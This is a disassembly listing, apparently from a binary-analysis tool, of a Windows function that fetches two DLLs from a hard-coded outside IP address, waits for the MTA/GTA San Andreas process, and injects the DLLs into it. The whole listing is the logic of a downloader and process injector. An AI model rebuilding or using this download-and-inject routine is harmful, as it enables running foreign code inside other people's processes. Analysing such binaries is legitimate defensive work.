Function at 0x4016e0
Capabilities:
Enumerate processes
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x348], eax
push ebx
push esi
push edi
mov ecx, str.http:__213.181.206.144_kernel76.dll
call fcn.00401050
test al, al
je 0x40193e
mov ecx, str.http:__213.181.206.144_GasMask.dll
call fcn.00401050
test al, al
je 0x40193e
push 0x401c70
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___Waiting_for_MTA...
call fcn.00401a50
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ebx, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs_s]
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
push 0
push 2
mov dword [esp + 0x18], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401792
push 0x401c70
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____Failed_to_create_process_snapshot._Error:
push eax
call fcn.00401a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
jmp 0x401841
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401815
push 0xffffffffffffffff
lea eax, [esp + 0x38]
mov dword [esp + 0x248], 0
push eax
push 0x104
lea eax, [esp + 0x254]
push eax
lea eax, [esp + 0x254]
push eax
call ebx
add esp, 0x14
lea ecx, [esp + 0x248]
mov eax, str.gta_sa.exe
nop word [eax + eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401800
test dl, dl
je 0x4017fc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401800
add ecx, 2
add eax, 2
test dl, dl
jne 0x4017e0
xor eax, eax
jmp 0x401805
sbb eax, eax
or eax, 1
test eax, eax
je 0x401859
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x4017a2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.____Process_not_found:
push 0x401c70
call fcn.00401a50
push ecx
mov edx, str.gta_sa.exe
mov ecx, eax
call fcn.00401a50
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401750
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._DEBUG__Process_found:
push 0x401c70
push dword [esp + 0x1c]
call fcn.00401a50
lea edx, [esp + 0x250]
mov ecx, eax
call fcn.00401a50
mov edx, str._PID:
mov ecx, eax
call fcn.00401a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [esp + 0x18]
test esi, esi
je 0x401849
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___MTA_process_found_with_PID:
push 0x401c70
push esi
call fcn.00401a50
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.C:pepekernel76.dll
mov ecx, esi
call fcn.004013f0
test al, al
je 0x401937
mov edx, str.C:pepeGasMask.dll
mov ecx, esi
call fcn.004013f0
test al, al
je 0x401937
push 0x401c70
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___All_DLLs_injected_successfully_
call fcn.00401a50
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x348]
xor ecx, esp
call fcn.00401c9f
mov esp, ebp
pop ebp
ret
mov edx, str.____Injection_failed.
jmp 0x401943
mov edx, str.____Failed_to_download_DLLs.
push 0x401c70
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00401a50
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.pause
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [esp + 0x358]
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401c9f
mov esp, ebp
pop ebp
ret